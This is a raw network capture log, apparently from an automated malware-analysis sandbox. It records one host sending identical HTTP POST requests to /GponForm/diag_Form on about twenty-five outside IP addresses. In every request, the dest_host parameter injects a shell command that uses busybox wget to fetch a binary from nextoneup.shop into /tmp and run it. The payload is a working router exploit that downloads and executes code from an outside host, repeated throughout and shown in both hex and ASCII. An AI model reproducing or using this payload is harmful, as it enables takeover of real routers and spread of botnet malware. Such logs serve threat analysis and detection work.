Apr 14, 2024 03:59:49.705615997 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.13	51820	79.195.184.215	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705662966 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.13	50088	123.91.178.175	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705699921 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.13	45170	5.22.208.74	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705699921 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.13	45236	148.151.123.41	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705740929 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.13	56296	117.116.70.90	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705763102 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.13	33006	212.188.38.245	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705786943 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.13	55450	37.74.171.63	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705825090 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.13	37220	94.173.13.11	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705854893 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.13	43516	5.230.64.225	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705905914 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.13	52580	123.9.26.149	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705929041 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.13	53380	178.16.227.214	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705955029 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.13	53564	212.217.88.70	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.705998898 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.13	60572	94.76.173.65	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706041098 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.13	41914	123.34.45.13	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706067085 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.13	49596	2.200.126.229	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706125021 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.13	35402	123.133.74.45	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706131935 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.13	33266	210.173.199.160	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706175089 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.13	50824	2.85.102.232	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706239939 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.13	44688	42.8.50.181	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706247091 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.13	54108	212.108.107.114	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706295013 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.13	56590	212.63.52.80	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706335068 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.13	33486	210.14.25.67	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706372976 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.13	39976	212.95.236.113	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706418037 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.13	54016	210.215.122.232	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706418991 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.13	54292	5.21.98.166	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.706465006 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
